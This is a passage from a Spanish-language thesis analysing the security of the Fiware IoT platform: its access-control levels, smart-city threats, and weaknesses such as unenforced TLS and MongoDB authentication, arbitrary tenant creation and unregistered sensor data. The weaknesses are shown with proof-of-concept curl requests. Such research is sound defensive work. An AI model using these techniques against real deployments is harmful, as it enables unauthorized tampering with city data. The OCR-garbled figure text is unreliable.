dispositivos 10T; al norte integracion con motores de procesamiento de informacion (Big Data) y
publicacion de datos abiertos. De forma transversal existen componentes para la integracion de
mecanismos de control de acceso.

3.1.4. Componentes de arquitectura Fiware

En la Figura 7 pueden observarse los componentes principales de una arquitectura Fiware.

; v v
(f======a \ SHORT TERM
ey HISTORIC CEP
I Services :
Fm——————— (]
1 Companies | v
I Organisations |
Pl e CONTEXT BROKER 5
H 2
Lo 8% =
________ ] | S
: 3rd Party : ( v %
\o~"~"~"~—"~--" J/ loT Agents
_ £ )
ﬁﬁm}e%ér}%-}}é?i"{"é%ﬁﬁﬁﬁﬂﬁﬁﬁﬁﬁﬁ:Iﬁﬁ::ﬁﬁ
Devices

Figura 7: Componentes principales de arquitectura Fiware (Esquivel y Najera, 2018, p. 28)
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El componente central esta representado por Orion Context Broker para la gestion de
contexto. Proporciona una APl RESTful mediante la cual aplicaciones, servicios y otros
componentes pueden utilizar para consumir o efectuar cambios de contexto, realizar
configuraciones asi como enriquecer su visualizacion mediante dashboards. Utiliza una base
de datos NoSQL MongoDB para el almacenamiento de datos.

Gestor de Contexto

Consumidor
de contexto

query .
— .
-—

Productor
de contexto

update
notify
update

query

notify :
—_— .

Figura 8: Detalle de componente Orion (Telefénica loT, 2019, p. 11)

Existen entidades productoras de contexto como pueden ser sensores loT o proveedores de
contexto externo (APIs) asociados a entidades existentes en Orion. Por otro lado, existen
entidades consumidoras de contexto como lo son aplicaciones que interactuan de forma
programatica, otros componentes dentro de la arquitectura o entidades que se suscriben a
cambios de contexto y que son notificados por parte de Orion.

Los loT Agents constituyen un medio de abstraccion de los protocolos de comunicacion
utilizados por los dispositivos 0T, actuando como proxy en el envio de medidas de sensado y
comandos entre los dispositivos y Orion. Esta capa de abstraccién como un todo se denomina
Integrated Data Acquisition System (IDAS) (Proyecto Fimac, 2016) y es la implementacion
referencial del GE loT Backend Device Management. Utilizan una base de datos NoSQL
MongoDB para el almacenamiento de datos.

Los agentes disponibilizan dos puertos de acceso denominados puerto norte y puerto sur
(Fox, 2019, abril 3, p. 6). El puerto norte ofrece una API HTTP REST vy es utilizado para realizar
configuraciones y comunicacion con el Context Broker. El puerto sur se encarga de toda la
recepcion de medidas provenientes de sensores.

OMA NGSI API (northbound)

Context Broker

/A \K,

Ve ™~
( create/monitor 3
_______________________ loT Agent
= ~
- =7 e Manager

loT -
Agent-1

loT
Agent-1

loT 10T Backend
Agent-1 Device Management

\.

(southbound interfaces)

Ultralight2.0 maTT OMA
HTTP LWM2M/CoAP

Figura 9: Detalle de componentes loT Agents (Telefénica loT, 2019, p. 10)
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Por otra parte, el almacenamiento y consulta de informacion de contexto histérica se realiza
mediante el componente Short Term Historic (STH) (Fox, 2020, abril 2, p. 14). Ademas, es
posible afiadir un médulo de Complex Event Processing (CEP) (Gonzalez, 2015, p. 6) para
analizar datos de eventos en tiempo real y poder configurar reglas que reaccionen ante
determinadas condiciones.

Transversalmente a todos los modulos existe una capa de gestion de identidad y control de
acceso que puede configurarse para establecer mecanismos de proteccién de acceso a
componentes.

3.2. Seguridad en Fiware

3.2.1. Conceptos de gestion de identidad

Los siguientes objetos estandares se encuentran definidos en la solucion referencial para
manejo de identidad de Fiware (Fox, 2019, abril 10, p. 5; Fiware Tutorial Roles Permissions,
2022, capitulo Standard Concepts of Identity Management). La solucion es conocida con el
nombre de Keyrock Identity Management (IdM) (Fiware Keyrock, 2022):
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Figura 10 — Conceptos de gestion de identidad Fiware IdM
(Fiware Tutorial Roles Permissions, 2022, capitulo Standard Concepts of Identity Management)
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Usuario: cualquier usuario registrado capaz de identificarse a través de un correo electronico y
contrasefa. Existen diferentes tipos de usuarios definidos en la siguiente estructura jerarquica:

e super-admin: usuario administrador de la solucién IdM de Fiware
e owner: usuario administrador de una organizacion
e member. usuario miembro de una organizacion

Un usuario autenticado en una determinada aplicacion obtiene los roles que le han sido
asignados directamente, sumados los roles asociados a las organizaciones a las que
pertenezca.

Aplicacién: cualquier aplicacion asegurada mediante Fiware. Cualquier usuario puede crear
aplicaciones, pero solo aquellos usuarios u organizaciones con rol Provider o roles
personalizados que incluyan permisos por defecto de administracion dentro de la misma,
pueden gestionarla. Los roles Provider y Purshaser son roles creados por defecto al registrar
una nueva aplicacion.

Roles +  Permissions +

Provider
¥ Get and assign all public application roles

Roles +  Permissions +

Provider ¥ Get and assign only public owned roles
Purchaser
v

Get and assign all public application roles

v Manage authorizations
v Manage roles
¥ Manage the application

¥ Get and assign all internal application roles

Figuras 11 — Roles y permisos en el contexto de una aplicacién en Fiware IdM
(imagenes obtenidas de instancia de Keyrock ejecutando localmente)

Organizacioén: grupo de usuarios, al cual se le puede asignar una serie de roles dentro de una
aplicacion. Alterar los permisos de la organizacion afecta a todos los usuarios de la misma.
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Organization Role (rol jerarquico dentro de una organizacion): usuarios pueden ser
administradores o miembros de la organizacion:

e |Los administradores son miembros de la organizacién que pueden gestionar otros
miembros de la misma:
o Agregar o eliminar usuarios; los usuarios deben haber sido creados previamente
por un super-admin.
o Asignar roles admin o miembro a usuarios existentes.
e Los miembros simplemente reciben los roles y permisos de una organizacion.

Rol: conjunto de permisos en el contexto de una aplicacion; puede ser asignado tanto a una
organizacién como a usuarios individuales.

Permiso: posibilidad de realizar determinada accién dentro de una aplicacion.
Adicionalmente, dos actores definidos en el IdM que pueden participar:

e JoT Agent. representa un proxy entre los sensores 0T y el Context Broker.
e PEP Proxy: un middleware entre componentes de una arquitectura Fiware que asegura
el acceso a los mismos, desafiando los roles y permisos del usuario invocador.

3.2.2. Niveles de control de acceso

En Fiware se pueden configurar 3 niveles de control de acceso (Fiware Security Team, 2021,
pp. 17-23). Cada decisién de acceso es binaria: permitir o denegar el acceso a determinado
recurso. Los mecanismos definidos a continuacion permiten asegurar el acceso de cuentas de
usuarios autorizados, tanto a aplicaciones que hagan uso de la informacién de contexto, como
a componentes (microservicios) de la propia arquitectura de la solucion.

3.2.2.1. Nivel 1: Authentication Access

Este nivel implementa un mecanismo de control de acceso simple basado en la identificacion y
autenticacion de los usuarios. Permite realizar todas las acciones a cualquier usuario
autenticado y ninguna accién a usuarios anénimos.

Puede ser proporcionado por cualquier proveedor de OAuth2. En la documentacion oficial
se mencionan algunos que han sido probados como ser Keycloak, AuthO y Fiware Keyrock
(Fiware iotagent-nodelib, 2022). OAuth2 es un protocolo estdndar para autorizacion, el cual
permite a aplicaciones cliente obtener acceso de forma segura a recursos de servidor,
mediante el uso de fokens de acceso y sin la necesidad de revelar credenciales con el mismo.
En OAuth2 no existe el concepto de identidad y no fue disefiado para autenticacion. Por este
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motivo existe otro protocolo denominado Open/D Connect que extiende OAuth2
proporcionando autenticaciéon. Fiware soporta todos los flujos de autorizacion de OAuth2 y
OpenlID Connect.

La decision de acceso “permitir” en este nivel implica que cada solicitud HTTP incluya un foken
de acceso OAuth2 valido obtenido por medio del sistema de gestion de identidad (IdM) de la
solucion, por parte de un usuario autenticado.

Como se puede observar en la Figura 12, la solicitud de acceso es recibida por el componente
PEP proxy, quien esta asegurando el acceso a un servicio de backend y deriva la decision de
autorizacion al IdM, que actua como punto PDP y toma la decision de acceso final.

La validez del token la determina el IdM en funcién de varios factores:
e El token existe y fue generado por el IdM.
e El foken no expird.

Tener en cuenta que aunque el token de acceso contenga roles asociados, en este nivel no se
chequean.

: 1AM Infrastructure
=1 L
- % :

..........................

Request . i KM
N Ll
¥
K

@ FIDARE

Figura 12 — Nivel de control de acceso 1 en Fiware (Fiware Security Team, 2021, pp. 19)

Se observa que la prevencion de todas las acciones no autorizadas se basa en la presencia de
un access_token valido. Es un control de acceso limitado que no permite granularidad en la
definicién de permisos; el acceso es total o no se brinda acceso.

Este nivel asegura las siguientes propiedades de seguridad:
e Disponibilidad : los recursos son accesibles a demanda y de uso exclusivo por parte de

usuarios autorizados; usuarios anénimos no tienen acceso.
e Integridad: usuarios andnimos no pueden realizar acciones que modifiquen el contexto.
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e Confidencialidad:
o Contenido autorizado no es visible por usuarios anénimos.
o A nivel de trafico, se pueden habilitar las comunicaciones cifradas (TLS),
protegiendo por ejemplo captura de access_token validos e informacion no
autorizada en transito.

3.2.2.2. Nivel 2: Basic Authorization

Este nivel implementa un mecanismo de acceso que incorpora control de acceso basado en
roles (RBAC — Role Based Access Control) al Nivel 1:

e Verifica la presencia de un foken de acceso valido en las solicitudes.
e Si la validacién es exitosa, se corroboran los roles y permisos del usuario para
determinar si se le otorga o no el acceso al recurso solicitado.

Este nivel solo puede ser alcanzable por medio de componentes de Fiware.

Como se puede observar en la Figura 13 y al igual que en el nivel 1, la solicitud de acceso es
recibida por el componente PEP proxy quien deriva la decision de autorizacién al IdM. EI IdM
actua como punto de administraciéon de politicas de acceso (Policy Administration Point o PAP)
y PDP.

..........................

® : 1AM Infrastructure : Create permission
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+ loken N . PDP .
Check token  * ("4 k HTTP Verb and Resource Rule
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Figura 13 — Nivel de control de acceso 2 en Fiware (Fiware Security Team, 2021, pp. 21)
3.2.2.2.1. Control de acceso para la gestion de roles y permisos en el contexto de una
aplicacion

Cada permiso se especifica en términos de un verbo HTTP y recurso. Los permisos son
agrupados en roles y los roles pueden ser asignados a un usuario individual u organizacién.
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Por defecto, el usuario que registra una aplicaciéon en el IdM queda como administrador; sin
embargo, la administracion puede ser delegada o compartida con otros usuarios u
organizaciones.

Asimismo, el usuario administrador puede definir roles con permisos granulares para delegar
una parte de la administracion de la aplicacion a ciertos usuarios y el resto a otros usuarios.

Ejemplificando, en base a la experimentacion se pudo ver que es posible definir roles con
permisos especificos para:

Gestionar los roles y permisos, pero sin autorizacion para asignarlos.

Asignar roles, pero sin autorizacion para definir roles y permisos.

Obtener y asignar solo roles que le hayan sido asignados al usuario actual.

Obtener y asignar todos los roles internos de la aplicacion (solo permite asignar los roles
por defecto Providery Purchase).

e Obtener y asignar todos los roles publicos de la aplicacion (roles especificos de la
aplicacion).

Editar la configuracion de la aplicacion.

Asignar todos los permisos anteriores.

De esta forma, el control de acceso para la funcién de gestidn de roles y permisos esta dado en
base a la granularidad que sea definida por los usuarios u organizaciones administradores de la
aplicacion.

3.2.2.2.2. Jerarquia de roles en el contexto de la aplicacion

Toda aplicacion asegurada por Fiware tiene por defecto un usuario u organizacion con
permisos de administracién total.

Asimismo, los administradores de la aplicacion pueden definir subroles para la gestion de
configuracién de la misma, y definicidn y asignacion de roles y permisos.

Por otro lado, administradores y usuarios con permisos para definir y asignar roles especificos
de la aplicacién pueden:

e Crear grupos de usuarios que representan conceptualmente departamentos con

funciones especificas dentro de la aplicacién.
e Definir roles y permisos para dichas organizaciones.
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Este nivel asegura las siguientes propiedades de seguridad:

e Disponibilidad: los recursos son accesibles a demanda y de uso exclusivo por parte de
usuarios autorizados. Usuarios anénimos no tienen acceso, asi como tampoco usuarios
con tokens de acceso validos que no posean los permisos correspondientes.

e Integridad: usuarios anénimos no pueden realizar acciones que modifiquen el contexto;
tampoco pueden hacerlo usuarios con fokens de acceso validos que no posean los
permisos correspondientes.

e Confidencialidad:

o Contenido autorizado sélo visible a usuarios con permisos correspondientes.

3.2.2.3. Nivel 3: Advanced Authorization

Este nivel implementa un mecanismo de acceso que incorpora control de acceso basado en
politicas (PBAC — Policy Based Access Control) al Nivel 2. El mismo solo puede ser alcanzable
con componentes de Fiware.

El mecanismo de acceso definido es idéntico al esquema de Nivel 2; |a diferencia radica en que
los permisos pueden ser definidos mediante reglas XACML en lugar de recurso y verbo HTTP.
Las reglas XACML permiten definir condiciones mas expresivas, por ejemplo, en términos de
ventanas de tiempo, valores de atributos de las entidades, etc.

Como se puede observar en la Figura 14, la solicitud de acceso es recibida por el componente
PEP proxy quien deriva en primer lugar la verificacion del token al IdM y posteriormente solicita
una decision de acceso a un componente PDP que resuelve politicas XACML. La
administracion de las politicas de acceso puede darse tanto en el IdM como en el componente
que actua como PDP.
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Security Context Broker Access
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Proxy access for Security
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Advanced XACML Rule
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” < Description>Context Broker Access</I|
PDP - <Target>
ﬂ <AnyOf>
5 - <AllOf>
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DataType="http://www.w3.0rg/2001/XM
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Figura 14 — Nivel de control de acceso 3 en Fiware (Fiware Security Team, 2021, pp. 23)
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Este nivel asegura las siguientes propiedades de seguridad, siendo su justificacion la misma
que la descrita para el nivel 2:

e Disponibilidad
e Integridad
e Confidencialidad

3.2.3. Aseguramiento de aplicaciones y microservicios

Aplicaciones y microservicios pueden ser asegurados por medio de los 3 niveles de acceso
descritos anteriormente. Especificamente, el nivel de control de acceso se puede definir para
cada recurso.

En el caso de las aplicaciones, cuando un usuario autenticado solicita el acceso a determinado
recurso, la aplicacién solicita al PDP una decision de autorizacion. Dicha decision se establece
en funcién del nivel de acceso configurado para el recurso. Esto significa que pueden existir
recursos con proteccion de nivel de acceso 1, 2 o 3 dependiendo del negocio de la aplicacion.

Para el caso de microservicios, la proteccion de acceso a los mismos funciona de igual manera,
siendo posible configurar los 3 niveles de acceso. El recurso a proteger en este caso es el
microservicio, el cual se encuentra “oculto” detras de un PEP proxy el cual asegura que solo
solicitudes autorizadas sean delegadas al microservicio.

El PEP Proxy realiza las siguientes comprobaciones:

e Verifica la presencia de un access_token valido en las solicitudes.
e Sila validacion del access token es exitosa, se pueden dar dos escenarios:
o Si el recurso a acceder solo requiere nivel de acceso 1, entonces es suficiente
para otorgar el acceso.
o Si el recurso a acceder requiere nivel de acceso 2 o 3, se corroboran los roles y
permisos del usuario para determinar si se le otorga o no el acceso al recurso
solicitado.

Utilizando componentes de Fiware, el nivel 1 es alcanzable mediante Keyrock (Fiware Keyrock,
2022), el cual es el IdM de referencia. Por otra parte los niveles 2 y 3 son alcanzables por
medio de Fiware Keyrock y Authzforce (Fiware Authzforce, 2022) respectivamente. En todos los
casos se tiene que adicionar un PEP Proxy, en el caso de Fiware el componente referencial es
Wilma (Fiware Wilma, 2022).
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3.2.4. Restricciones en el modelo de control de acceso

Un administrador o usuario autorizado puede configurar cuentas de aplicacion para
componentes PEP proxy y loT sensor. La cuenta PEP proxy es asighada a un componente
PEP y forma parte de la validacion que realiza el componente en tiempo de ejecucion para
conocer a qué aplicacién pertenece. Las credenciales de esta cuenta no pueden ser utilizadas
para solicitar tokens de acceso.

PEP Proxy v

tutorial-dckr-site-0000-xpresswebapp

Reset password | QU2

pep_proxy_13ale3e2-d0ca-4182-b229-cdb&f40765dd

pep_proxy_35fff315-63f4-4fel-a36e-7a46d6bde180

Figura 15 — Configuracién de PEP Proxy en Fiware IdM Keyrock
(imagen obtenida de instancia de Keyrock IdM ejecutando localmente)

Las cuentas loT sensor tienen como finalidad proteger el trafico proveniente de los dispositivos
IoT. Cada sensor IoT debera autenticarse con su cuenta a fin de obtener un foken de acceso
valido que le permita acceder al microservicio loT Agent para comunicar su medida. Es decir,
entre los sensores loT y el componente loT Agent existe un PEP proxy que asegura el acceso.

Actualmente, no es posible asignar roles a la cuenta /oT Sensor dentro de una aplicacion; por
tanto, no es posible definir un nivel de acceso superior al 1.

loT Sensors v

Reset password | NORBEEE

iot_sensor_62cbaccf-10f0-4f96-ae2f-d309f3d6f4as

iot_sensor_f28db42b-a287-4e13-8704-c85debbed2ed

| Register a new IoT Sensor ‘

Figura 16 — Configuracion de cuentas loT Sensors en Fiware IdM Keyrock
(imagen obtenida de instancia de Keyrock IdM ejecutando localmente)
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3.2.5. Discusion de otras propiedades de seguridad referente a los 3
niveles de control de acceso

Autenticidad:

Se entiende que no es posible garantizar la validez del origen o del mensaje, sin combinar esta
propiedad con otras propiedades de seguridad:

e Dado un token de acceso valido obtenido por un usuario A, no es posible asegurar que
el mismo no sea capturado y utilizado por un usuario B no autorizado.

e Dado un request interceptado, no es posible asegurar que no se haga un replay del
mismo.

e Dependiendo del flujo de autorizacién de OAuth2 que se elija para la obtencion de un
token, son los parametros necesarios (usualmente usuario y password y client id,
client_secret). Si por alguna razén los parametros (o0 secretos) son divulgados o
susceptibles a predecir, una entidad externa podria generar tokens de acceso
arbitrarios, sin la necesidad de interceptar trafico.

Para que las dos primeras situaciones planteadas sean exitosas, un atacante debe poder
posicionarse como man-in-the-middle (MiTM). Sin embargo, si se garantiza la confidencialidad
de las comunicaciones utilizando canales cifrados, la complejidad de lograr quebrar el canal
TLS es alta y por lo tanto la probabilidad de un ataque exitoso es bajo. En este escenario
podriamos decir que garantizando la confidencialidad, se estaria garantizando la autenticidad.

Para mitigar el tercer caso, alcanzaria con establecer una politica robusta de gestion de
secretos y credenciales, sumada la confidencialidad del canal, para lograr garantizar un nivel
alto de autenticidad.

Trazabilidad:

Es posible identificar y autenticar a usuarios validos y eventualmente seria posible establecer
una traza de acciones en base a un foken de acceso. No obstante, para garantizar esta
propiedad es necesario contar con registros de auditoria de eventos de seguridad de varios
componentes de la arquitectura de la solucion, analizar qué informaciéon loguea cada uno,
correlacionar eventos, etc.

No Repudio (de origen):

Entiendo que no seria posible garantizar que un evento ha ocurrido, contando solamente con el
token de acceso y aun asumiendo que se mantiene trazabilidad de los datos.

Una forma de garantizar no repudio es mediante firmas digitales de los registros de auditoria;
pero aun asi como vimos anteriormente debe garantizarse un alto nivel de autenticidad, es
decir que dicho evento haya sido realizado/originado por el usuario que dice ser.
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3.3. Principales amenazas de seguridad en ciudades inteligentes

En base a los antecedentes presentados en el capitulo 2 (Lee et al., 2019, pp. 2-5; ljaz et al.,
2016, pp. 5-11), es posible enumerar las amenazas predominantes en despliegues de
plataformas de smart cities.

Accesos no autorizados

Engloba distintas interacciones de forma no autorizada dentro de la plataforma; algunas de
ellas mas relevantes:

e Acceso fisico a dispositivos loT desprotegidos.
e Acceso a componentes de red accesibles sin autenticacion y sin mecanismos de control
de acceso implementados.

Bypass de controles de autorizacion
En ambientes donde existan mecanismos de control de acceso permisivos 0 no exigidos en
todos los componentes de la arquitectura. Asimismo, credenciales por defecto o basadas en
diccionarios publicos que un atacante puede utilizar para acceder a interfaces de comunicacion
o de forma fisica a los dispositivos |0T. Esto incluye casos posibles de escalacién de permisos.
Software desactualizado
Se refiere a dispositivos 0T o componentes de software con debilidades conocidas que un
atacante puede aprovechar como entrada para lograr algun objetivo de ataque; por ejemplo
extraer informacion sensible, causar alguna falla de funcionamiento o denegacion de servicio,
escalar privilegios, etc.

Suplantacion de identidad

Escenarios en donde un atacante logra impersonar a una entidad, individuo, dispositivo 10T,
aplicacion o componente legitimos.

Ataques man-in-the-middle (MiTM)

Un atacante que consigue interceptar los mensajes intercambiados entre dos componentes de
la plataforma podria capturar credenciales y tokens de autenticacion y realizar modificaciones
de trafico en vivo.

Analisis de trafico

De forma pasiva un atacante logra capturar trafico de red durante un periodo de tiempo dado
(ej. entre dispositivos 10T y capa de procesamiento de datos o entre médulos internos de la
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plataforma), la cual puede utilizar para identificar patrones de comportamiento, qué tipo de
datos son intercambiados, obtener informacion sensible, etc.

Alteracion y falsificacion de mensajes
Se trata de una actividad que combina técnicas pasivas y activas de monitoreo de trafico y

modificacion de los mensajes intercambiados ya sea en transito o desfasados en el tiempo asi
como también la repeticion de mensajes (ataques de replay).
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4. Analisis de seguridad de una arquitectura Fiware
referencial

Luego de contar con un conocimiento basico acerca de los componentes de la arquitectura
Fiware y haber realizado pruebas de concepto interactuando con algunos de sus modulos y
observando su comportamiento, el siguiente paso dio lugar a profundizar en el andlisis de
seguridad. Para ello, se consider6 el despliegue de una plataforma de estudio ficticia basada en
un tutorial proporcionado por Fiware, que contiene componentes centrales de toda arquitectura
Fiware: Orion y loT Agent.

El proceso de investigacion fue conducido en tres grandes etapas.

En primer lugar se procedio a identificar problematicas de seguridad en Fiware. El estudio
estuvo focalizado en los componentes centrales Orion y loT Agent y sus interacciones. Se
utilizaron las fuentes bibliograficas mencionadas en el marco teérico complementando con
publicaciones técnicas en Foco-Timbd, Colibri y busquedas online directas, se indagé en la
documentacion oficial proporcionada por Fiware, se inspeccioné el cédigo fuente de los
componentes de forma manual, se hizo una busqueda de issues reportados por medio de los
repositorios publicos en Github? de cada uno de los modulos o preguntas en StackOverflow®
y se interactud con los componentes directamente en un entorno local controlado.

Las problematicas de seguridad sefaladas permitieron establecer un estado general primario
de seguridad de los componentes de Fiware estudiados a nivel arquitectonico. Sumando a ésto
el entendimiento en alto nivel de una arquitectura Fiware referencial, cimentd las bases
brindando elementos de interés para el comienzo de la segunda etapa, donde se llevo a cabo
el modelado de amenazas en el escenario de estudio desde la perspectiva de un atacante. El
criterio fue identificar amenazas de acuerdo a la metodologia STRIDE clasificandolas en
categorias que representan objetivos potenciales de un atacante. El espectro de posibles
amenazas dio paso a la identificacion de objetivos de ataque concretos en relacién a los
componentes Orion y loT Agent.

Finalmente, la tercera fase consistid en realizar un trabajo de campo experimentando un
subconjunto de los objetivos de ataque definidos en el escenario referencial de manera de
verificar su factibilidad y demostrar cuél seria el impacto que tendria cada ataque materializado.

“ https://github.com
5 https://stackoverflow.com
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4.1. Identificacion de problematicas de seguridad en
componentes Orion y loT Agent

Como resultado del proceso indagatorio se logro distinguir los siguientes puntos.

4.1.1. Comunicaciones cifradas TLS no exigidas

Por defecto no es mandatorio el uso de comunicaciones cifradas entre componentes de una
arquitectura Fiware. Esto incluye interacciones Orion——/oT Agent, Orion——MongoDB, loT
Agent——MongoDB, loT Agent——dispositivos loT e intercambios directos con Orion, loT
Agent'y MongoDB.

Esto implica que en un escenario en donde no se utilicen comunicaciones cifradas, el trafico de
red vaya en texto claro posibilitando la inspeccién y/o alteracion de datos en transito. Este
comportamiento puede observarse en la seccion 4.3.2 de la experimentacion.

4.1.2. Autenticacion con MongoDB no exigida

Por defecto no es obligatorio el uso de mecanismos de autenticacion entre Orion——MongoDB
y loT Agent——MongoDB.

En un despliegue de plataforma donde no se utilice autenticacion con MongoDB, podria
posibilitar modificaciones anénimas no autorizadas. Este comportamiento puede observarse en
la seccion 4.3.1.4 de la experimentacion.

4.1.3. Orion y loT Agent no exigen autenticacion ni autorizaciéon

Por defecto los componentes Orion y IoT Agent no ofrecen mecanismos propios de control de
acceso. Se pueden proporcionar modulos de Fiware adicionales para proteger su acceso.

4.1.4. Modelo multi-tenancy podria habilitar modificaciones no autorizadas
en otros tenants

El modelo multi-tenancy en Fiware es establecido por medio de una separacion légica de bases
de datos en MongoDB. Para ello se utiliza un header especial “Fiware-Service” que permite
indicar en cada solicitud HTTP el tenant al que se hace referencia (Marquez y Zangelin, 2016,
setiembre 16, p. 22; Fiware Orion, 2022, capitulos Multi Tenancy y MultiService / MultiTenancy
Database Separation; Fiware Tutorial loT Agent, 2022, capitulo Connecting loT devices).
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En el capitulo de antecedentes se comentd acerca de una publicacion a comienzos de 2020
(Salhofer y Detzner, 2020, p. 7) que hacia visible problemas de seguridad en el modelo
multi-tenancy de Fiware que podria permitir realizar alteraciones en otros tenants, incluso en
tenants inexistentes. La investigacion hacia énfasis en que en una plataforma donde estuviera
implementado el nivel 2 o 3 de seguridad utilizando componentes de Fiware, no seria posible
establecer mecanismos de control de acceso basados en el header “Fiware-Service”.

Se realizaron algunas pruebas de concepto basicas de forma de validar comportamientos
llegando a los siguientes resultados preliminares.

4.1.4.1. Creacioén arbitraria de tenants especificando header “Fiware-Service”

Suponiendo un escenario en el cual no existen mecanismos de control de acceso desplegados,
si una solicitud HTTP contiene el header “Fiware-Service” con un valor X’ y el tenant no
existe, Orion crea una base de datos “orion-X".

A continuacion se muestran dos ejemplos en los cuales se crea una entidad a través de Orion
en un tenant de nombre “tenant_1" legitimo en primera instancia y luego se crea otra entidad
en un tenant de nombre "inexistent” inexistente.

curl -iX POST \
'<http|https>://<orion-host>:<orion-port>/v2/entities"' \
-H 'Content-Type: application/json' \
-H 'Fiware-Service: tenant_1' \
-H 'Fiware-Servicepath: /' \

-d "
{
"id": "urn:ngsi-1ld:Store:008",
"type": "Store",
[...1,
"name": {
"type": "Text",
"value": "BOsebricke Einkauf"
}
)

Se puede observar en el motor de base de datos de Orion que la entidad recién creada se
encuentra almacenada en la base de datos asociada al tenant_1:

> show databases;

orion 0.000GB

orion-tenant_1 ©.000GB

> use orion-tenant_1

> db['entities'].find()

{ "_id" : { "id" : "urn:ngsi-1ld:Store:008", "type" : "Store", "servicePath" : "/" },
"attrNames" : [ "address", "location", "name" ], [...], "name" : { "type" : "Text",
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"creDate" : 1644242378.4697275, "modDate" : 1644242378.4697275, "value" : "BOsebriicke
Einkauf", "mdNames" : [ 1 } }, [...] }

Analogamente, la creacién de otra entidad pero para un tenant inexistente:

curl -iX POST \
"<http|https>://<orion-host>:<orion-port>/v2/entities' \
-H 'Content-Type: application/json' \
-H 'Fiware-Service: inexistent' \
-H 'Fiware-Servicepath: /' \

-d '
{
"id": "urn:ngsi-1ld:Store:045",
"type": "Store",
[...]
"name": {
"type": "Text",
"value": "Store Y"
}
3

> show databases;

orion 0.000GB
orion-tenant_1 ©.000GB
orion-inexistent ©.000GB
> use orion-inexistant

> db['entities'].find()

{ "_id" : { "id" : "urn:ngsi-1ld:Store:@0457", "type" : "Store", "servicePath" : "/" },
"attrNames" : [ "address", "location", "name" ], "attrs" : [...] ‘"name" : { "type"
"Text", "creDate" : 1644243022.322857, "modDate" : 1644243022.322857, "value" : "Store Z",

"mdNames" : [ 1} 3}, [..-]1}

4.1.4.2. Soporte de header “Fiware-Service” en reglas de autorizaciéon Fiware

En base al relevamiento realizado, se pudo observar que el componente Keyrock adiciona la
capacidad de incorporar el header “Fiware-Service” en reglas de autorizacién en agosto de
2020. Esto indicaria que versiones anteriores a 7.9.2 no disponen de dicha caracteristica.

Mar 25, 2021 FIWARE Keyrock 7.9.2
#5§ apozohuell
© FIWARE 7.9.2 « Config grant types to avoid OAuth client auth (for SPA and Mobile applications)
o 22099 B sorvice header a5 a resourcs
Compare « Minor Bug Fixing

+ Merge PRs: 157, 168, 181, 184, 187 and 190

Figura 17 — Detalle de release de versién de Fiware IdM Keyrock 7.9.2°

¢ https://github.com/ging/fiware-idm/releases/tag/FIWARE_7.9.2
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Commits on Aug 6, 2020

Disconnect config and config-service -
@ jason-fox committed on Aug 6, 2020

added fiware-service header support in permissions

Q SamuelTJackson committed on Aug 6, 2020

Docker hardening -
@ jason-fox committed on Aug 6, 2020

Figura 18 — Indicativo de adicién de soporte al header Fiware-Service en Fiware IdM Keyrock’

El detalle de los cambios realizados en la version de Keyrock 7.9.2 puede observarse en el
Anexo 3:

4.1.5. Agentes loT reciben medidas de dispositivos no registrados

De forma que los dispositivos |oT puedan establecer comunicacién con los agentes de ingesta
para el envio de sus medidas de sensado, es necesario que en primera instancia se configure
un grupo de dispositivos para luego registrar de forma individual cada dispositivo.

Simplificando, a continuacion se muestra un ejemplo de creacion de un grupo de
aprovisionamiento de servicio, interactuando de forma directa con el puerto norte del loT Agent
con protocolo Ultralight (protocolo simple basado en texto), donde:

e Se estd realizando una solicitud HTTP POST al endpoint alojado en
““http|https>://<iot-agent-host>:<iot-agent-north-port>/iot/services”
(Fiware Tutorial IoT Agent, 2022, capitulo Provisioning a Service Group).

e EIl cuerpo del mensaje HTTP es un objeto JSON que especifica la “<API-KEY>" que
utilizaran los dispositivos al enviar sus medidas al endpoint
“http|https>://<iot-agent-host>:<iot-agent-south-port>/iot/d“. Ademas
indica la URL del Context Broker que recibira dichas medidas
“http|https>://<orion-host>:<orion-port>” y el tipo de entidad a catalogar
aquellos dispositivos no reconocidos, que en este caso es “Thing”.

curl -iX POST \
'<http|https>://<iot-agent-host>:<iot-agent-north-port>/iot/services' \
-H 'Content-Type: application/json' \
-H 'fiware-service: openiot' \
-H 'fiware-servicepath: /' \

-d '{

7 https://github.com/ging/fiware-idm/blob/20420b045f11dde29673a6d 1fff8c88ece05c524/controllers/oauth2/oauth2.js
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"services": [

{
"apikey": "<API-KEY>",
"cbroker": "<http|https>://<orion-host>:<orion-ports>",
"entity_type": "Thing",
"resource": "/iot/d"
}

El registro de un nuevo sensor se realiza de la siguiente manera interactuando de forma directa
con el loT Agent donde:

e Aligual que en el caso anterior se esta realizando una solicitud HTTP POST al endpoint
alojado en
“http|https>://<iot-agent-host>:<iot-agent-north-port>/iot/services”.

e El cuerpo del mensaje HTTP es un objeto JSON que especifica el tipo de entidad, el
cual en este caso es un sensor de movimiento “Motion”, su identificador “motion@01” y
algunos otros atributos y relaciones (Fiware Tutorial loT Agent, 2022, capitulo
Provisioning a Sensor).

curl -iX POST \
'<http|https>://<iot-agent-host>:<iot-agent-north-port>/iot/devices"' \
-H 'Content-Type: application/json' \
-H 'fiware-service: openiot' \
-H 'fiware-servicepath: /' \

-d '{
"devices": [
{
"device_id": "motion@01",
"entity_name": "urn:ngsi-ld:Motion:@01",
"entity_type": "Motion",
"timezone": "Europe/Berlin",
"attributes": [
{ "object_id": "c", "name": "count", "type": "Integer" }

1,

"static_attributes": [
{ "name":"refStore", "type": "Relationship”, "value": "urn:ngsi-ld:Store:001"}
J
}
]

}

Si dicho sensor quisiera enviar medidas al IoT Agent, lo haria enviando su medicion al puerto
sur al siguiente endpoint:
“¢http|https>://<iot-agent-host>:<iot-agent-sourth-port>/iot/d?i=motion@01&k=
<API-KEY>”
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Un ejemplo de envio de una medida de sensado seria (Fiware Tutorial IoT Agent, 2022, seccidn
Four Request):

curl -iX POST \
"<http|https>://<iot-agent-host>:<iot-agent-sourth-port>/iot/d?k=<API-KEY>&i=motion@el' \
-H 'Content-Type: text/plain' \
-d 'c|1'

Se hicieron pruebas simulando el envio de medidas desde sensores previamente no
registrados o inexistentes en la plataforma notando que:

e Es requerido el uso de una <API-KEY> valida registrada previamente (parametro “k” de
la solicitud).

e EIl identificador del sensor (parametro “i’ de la solicitud) puede ser arbitrario y no
corresponder a un dispositivo registrado. Las medidas recibidas por el loT Agent seran
recibidas, procesadas, enviadas hacia el Context Broker y catalogadas como
provenientes de una entidad “Thing”.

Se puede observar que en un escenario en donde un atacante pueda interceptar la
